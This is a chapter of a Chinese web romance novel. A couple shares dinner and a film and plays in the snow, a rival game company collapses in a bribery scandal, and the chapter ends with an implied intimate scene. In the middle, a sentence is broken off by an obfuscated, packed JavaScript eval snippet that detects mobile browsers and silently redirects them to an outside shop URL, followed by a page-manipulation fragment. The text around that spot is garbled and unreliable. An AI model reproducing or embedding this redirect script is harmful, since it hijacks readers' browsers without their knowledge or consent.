阮芒默默松开手,人往后踩了两步,慢吞吞撩起眼皮盯着他看,一本正经道:“你不能在外面这样。”


    裴时樾没懂,挑眉反问:“为什么不能在外面?”


    阮芒抿了抿唇,试探着:“因为你是个闷骚,这样叫ooc。”


    小姑娘脑回路还是如此清奇,裴时樾有时候根本想不明白她小脑袋瓜里怎么会有这么多千奇百怪的念头。


    他悠长悠长地叹了口气,抬手拍了拍她脑袋:“下次要看清,知道吗?”


    阮芒狡黠地眨眨眼:“其实这样也挺好的。”


    有人不爽:“好在哪?”


    有人很爽:“好在能看你吃醋。”


    晚上阮芒跟他们一起蹭饭的时候才知道,这位毯子哥原来是光合的新合作对象。


    坊间传闻这位哥曾是大厂天才架构师,三年前在大厂离职,带着志同道合的团队一起开发自研引擎。


    自荐上门找到裴时樾的时候,毯子哥就说了一句话,“如果星图算拿到了船票,那你跟我合作,造船的图纸和未来的船都有了,我这人从来不做亏本生意,要不要试试?”


    用人话翻译一下就是光合的未来亮得我晚上睡不着我要跟你们合作互利互惠。


    饭桌上,一行人聊着点听不懂的专业术语,阮芒吃得专心致志心无旁骛,时不时在桌子底下戳一戳裴时樾的手:“这个好吃,这个也好吃。”


    裴时樾也没闲着,跟在后边伺候,端茶倒水剥虾,唇边噙着笑:“多吃点。”


    阮芒有点不好意思,在桌子底下扯了扯他的衣袖,压低声量:“你吃你的,别管我,这多人看着呢。”


    裴时樾很淡定:“看就看呗。”


    毯子哥忍不了了,把筷子往桌上一撂:“这还吃啥?还没吃看他俩都饱了,来之前也没人跟我说啊?”


    纪介抱着他的果粒橙给自己满上,笑眯眯地对毯子哥说:“哥,那你还是来少了,多蹭几次饭就习惯了。来,小嫂子你还喝果汁不?”


    纪介这小孩儿嘴甜,平时上班的时候严谨叫老板娘,出了门一口一个小嫂子。


    阮芒冷不丁被cue,眨眨眼:“好呀,谢谢你。”


    天儿太冷,实在不适合在室外逗留,可是难得休息,阮芒也不想直接回家,俩人一商量,最后决定去看场电影。


    他们谈了大半年,阮芒忙里抽空带着裴时樾补了不少美剧日剧,但还是俩人第一次正儿八经来电影院看电影。


    临近过年,这个时间上映的都是些贺岁片,商城影院人很多,挂上红灯笼小彩带装修得也喜庆,喜气洋洋很热闹。


    阮芒在一众贺岁片里斟酌纠结了半天,最终挑了部爱情片,无他,只是因为人少。


    进场十分之后阮芒就明白了,这片儿人少不是没有原因的,剧情实在是抽象了,拍出来像是来洗钱的。


    就是很古早的你爱我我不爱你,你不爱我我又爱你的拉扯套路。


    场内暖气打得很足,人在刚吃饱又暖和的场所里很容易犯困,阮芒依稀记得睡着之前看到主角小情侣在吵架,等她一觉醒来之后睁开眼,俩人还在吵。


    阮芒眯虚起眼,适应了两秒黑暗的光线,侧过头,看见裴时樾竟然没困没走神,没什么表情盯着屏幕,转瞬即逝的光影落在侧脸。


    阮芒对他肃然起敬。


    周围两排之内没有观众,阮芒轻轻戳了戳他手背,小声问他:“演到哪儿了?”


    裴时樾勾着她的手没松开,捏了捏柔软的指腹,偏过头来:“分手了三次,现在是第四次。”


    阮芒:“……”


    记这么清楚也是难为你了。


    阮芒看了眼手机,九点半散场,还有二十分钟,主角好不容易放过彼此分开了,女主已经收拾好行李准备出国。


    难不成还是个be反转剧情?


    阮芒来了兴趣,人往椅背后面靠了靠,睁着一双大眼睛,一眨不眨盯着屏幕。


    快登机了,一秒,两秒,女主角转过头深深地看了身后的城市最后一眼,阮芒屏住呼吸,莫名的还有点紧张。


    这时候,镜头一转,男主角还被堵在去机场的路上,司机转过头焦急地跟他说来不及了,男主直接拉开车门向前狂奔。


    阮芒:“……”


    最后的最后,两人还是兜兜转转赶上了,人潮汹涌的候机厅里,男主直接从口袋里掏出戒指当场求婚。


    好像前面一个半小时白演了,又像把所有观众的脑子按在地上摩擦。


    阮芒觉得自己太委屈了,自己当年那个救公主的小脑洞剧情在人家面前简直不值一提,就这样还被熟人唠了这么多年。


    等电梯的间隙,裴时樾俯身给阮芒整理围巾,漆黑的眼睫低低的覆盖下来,视线冷感而专注。


    阮芒鼻尖蹭着围巾软软的绒毛,弯起一双眼睛看向他:“你有没有感觉,刚刚那部电影的当众求婚环节对我们这种社恐人士不太友好?”


    裴时樾扯着唇角,捏着围巾薄薄的边缘,手腕一抬,围巾瞬间罩住了她整张小脸。


    阮芒视野受限制,猝不及防,不由得瞪大了眼睛,整个人还没反应过来,就感觉有人在她头顶上拍了拍,与此同时,低低的声音也缓缓响起,含着笑意,隔着一层布料,听起来不太真切:“小朋友,你社哪门子恐?”


    阮芒费劲巴拉地扯着围巾边把一双眼睛露出来,振振有词:“我这是薛定谔的社恐,懂不懂?”


    出了商场,冷风迎面吹了过来,阮芒抬起眼才看见,天空中竟然有细细密密的雪花纷纷扬扬飘落下来,地面也覆盖上薄薄的一层积雪。


    本地属于天气预报年年都诈骗有雪,结果总是山顶象征性飘两片,市区根本看不见雪也存不住雪的南方。


    阮芒算了算,上次看见下雪还是在高中,一晃好多年。


    路边已经有小朋友就着昏暗的路灯玩起了雪,阮芒摩拳擦掌跃跃欲试,搓了一个小雪球,哆哆嗦嗦举在手里,跟旁边小朋友炫耀:“你看,我的球比你大。”


    小朋友看着面前的怪姐姐,小嘴一撇就要哭,阮芒见状赶紧把雪球递到他手里:“别哭啊,送你了。”


    阮芒玩了一圈儿,指尖冻得红红的,现在知道冷了,心满意足地踩着一深一浅的脚印,咯吱咯吱地跑回裴时樾身边。


    他正抄着口袋等她,肩头还落着零星未化的雪花,阮芒不由分说把湿漉漉的手一股脑儿塞到他口袋里,直接贴上了他温热的手背。


    阮芒能感受到他小臂的肌肉瞬间绷紧,却没抽开,照单全收。


    裴时樾垂下眼,语气无奈:“你是藏了两块冰带进来?”


    “对呀,”阮芒理直气壮仰着脸,鼻尖被冷空气自然泛色,“分你一个要不要?”


    唇边呼出的白气不多时消解在冷风中,她指尖不老实地蜷了蜷,蹭过他手腕上突起的骨头。


    裴时樾被她的歪理噎了一下,扯了扯唇角,手上的力道却收紧了些,把她不老实的指尖完完全全包裹在掌心。


    路灯昏黄的光线下,雪地上两道依偎的影子被拉得很长很长。


    怀里软绵绵的一团,阮芒双手环住他的腰,脑袋贴在他胸前:“好像暖一点了。”


    “嗯,”他淡声应道,“下次戴手套。”


    “忘啦。”


    “我替你记着。”


    -


    年后,星图的新游公测,宣发铺天盖地,结果一上线就砸了。


    原本只是流水不达标,论坛里骂声一片,属于游戏品质口碑层面的问题,结果星图上下正焦头烂额的时候,又突然冒出来一位知情人士爆料。


    知情人士简单粗暴甩出来一份流水账单,钱从江氏出去,绕了个弯,转头进了奥林匹斯当时拍板的那位副总海外亲戚的户头里。


    时间恰好是评审会的一个月前。


    遮羞布被扯了下来,赤裸裸的买卖展现在大众视野里。


    奥林匹斯那边翻脸比翻书还快,立马发声明,召开发布会和星图切割,紧接着反手把星图告上了法庭,索要天价赔偿,不只是授权费用,还有高达八位数的违约金。


    江氏受到牵连也没好到哪儿去,对于星图收购本就是孤注一掷,一夜间股市崩盘,资金链断裂,不出三个月,这家在本市风光无限的家族企业就要在债务官司和烂透的名声里彻底清盘。


    新闻轰轰烈烈在头条板块挂了一个礼拜,阮芒确信裴时樾也看见了,但俩人心照不宣都没有和对方提起过。


    面对路边一袋垃圾连个眼神也不给也许就是最好的处理吧。


    阮芒的新短篇已经正式开始连载,反响不错,阮老师又开始了她每天踩着ddl生死时速的赶稿日子。


    光合新游内测的当天,阮芒比裴时樾还紧张,刷了一天的各种平台测评。


    题材玩法足够新颖,游戏打磨了三年,品质精良


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082605|188637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,在各个测评博主那里都是好评如潮。


    等裴时樾晚上回来,阮芒笑眯眯迎上来跟他开玩笑:“老实交代,是不是买了不少商单!!”


    裴时樾拍了拍小姑娘的脑袋:“你很懂啊。”


    阮芒作为全平台二十万粉但是助眠游戏博主,也接过游戏商单。


    之前有人联系她,说玩一款新游,播两小时给四百,阮芒当时想,有钱不赚那不傻子吗?


    接了之后阮芒才知道,是那种十八+擦边游戏,满屏美少女大白腿,没播三分钟直播间直接红色小弹幕飘了过来,喜提三天封禁。


    阮芒心情好,说话没过脑,直接脱口而出:“也没见找我接商单啊?”


    裴时樾挑眉:“嗯?”


    阮芒说了一半反应过来,闭上了嘴,无辜地眨了眨眼:“什么也没说,你听错了。”


    小马甲不能掉,是阮芒最后的倔强。


    裴时樾去洗了个澡,阮芒闲的没事干,打算再享受一下测评视频,顺手从沙发上捞了个iPad。


    没密码直接开了,面对着干干净净的纯色壁纸,阮芒愣了两秒,反应过来这是裴时樾的。


    阮芒点进G站,发现裴时樾的账号没退,映入眼帘的是七个大字:“睡觉专用潜水号”。


    裴时樾洗完澡,擦着湿漉漉的头发进来,额前的碎发往后捋,露出挺拔的眉骨。


    一抬眼,看见阮芒坐在床上,双手抱臂看着他,一副审视的姿态。


    他带着一身湿漉漉的潮气走近,有点好笑地戳了戳她的脸颊:“要干嘛?小河豚。”


    阮芒咬咬牙,挑起下巴,一字一句叫他:“睡觉专用潜水号?”


    裴时樾反应过来,低低地笑,肩膀一抖一抖,连胸腔都跟着发颤,好不容易笑够了直起身,把人捞过来,圈在怀里:“你现在才知道吗?”


    阮芒面无表情地看着他:“笑够了吗?”


    “没有,”他摇头,“我以为你早猜到了。”


    阮芒无语:“你的小马甲我怎么会知道!!!你为什么会知道我的小马甲!!!那你岂不是天天挂着直播间偷听我直播!!”


    裴时樾脖颈低垂,沿着她的锁骨一点一点慢慢啃咬,认真纠正:“没有偷偷啊,我不是榜一吗?其实是天天看你在动态里悄咪咪跟我表白。”


    又暗爽了哥。


    阮芒石化了,她深吸一口气,平静了两秒,问他:“你知道我现在有种什么感觉吗?”


    裴时樾挑眉:“什么感觉?”


    阮芒破罐子破摔往床上一倒,闭上眼:“我现在有种和榜一大哥奔现的神秘错觉。”


    裴时樾翻身过来,手臂撑在她脸颊两侧,这种姿势带来的侵略感强烈,呼吸声清晰,温热的气息一阵阵拂过她的脸颊,气息熟悉而滚烫,像干燥的羽毛,每一次和皮肤接触都能激起明显的战栗。


    阮芒缓缓地睁开眼,近在咫尺的是他凸起的性感的喉结,随着吞咽轻轻滚动了一下,她鬼使神差地轻咬了一口。


    像是发出了信号按下了开关,他眼底最后一点克制的光暗了下来,头一低,吻也落了下来。


    很温柔的一个吻,带着柔软的试探,舌尖细致地描绘她的唇形,偶尔退开一些,让她吸入稀薄的空气,又在换气的间隙更深入地吻进去。


    最后含住了她的下唇,很轻地吮了一下,阮芒脊背窜过一阵战栗,喉咙间无意识溢出一声轻哼。


    身前的呼吸变得粗重,撑在床单上的手指下移,没入她的指缝,收紧。


    吻的力度随之加深,撬开齿关,长驱直入,席卷了她全部的感官。


    她大脑一片空白,只能被动承受,隔着薄薄的布料,感受到他沉稳的心跳声一并传来。


    漫长而潮湿的吻结束,分开时两个人气息凌乱,鼻尖相抵,凌乱灼热的呼吸声起伏。


    他一双桃花眼沾染上情.欲,静静地看着她蒙着水汽湿漉漉的眸子,还有嫣红微肿的唇瓣。


    嗓音也被情.欲磨得沙哑,贴着她绯红一片的耳廓确认:“要试试吗?”


    黑暗没收了全部视觉,其他感官蔓延生长。


    思绪是散的,浸泡在温热的水里,坠落又浮起,涨落间黏.连,如此反复,潮汐般温柔地进退,将意识一寸寸淹没。


    海浪席卷到岸,堆砌至峰顶,悬停,失重,感知一点一点回流,沉沉的呼吸拂过,一如退潮后的海岸线,平稳,绵长。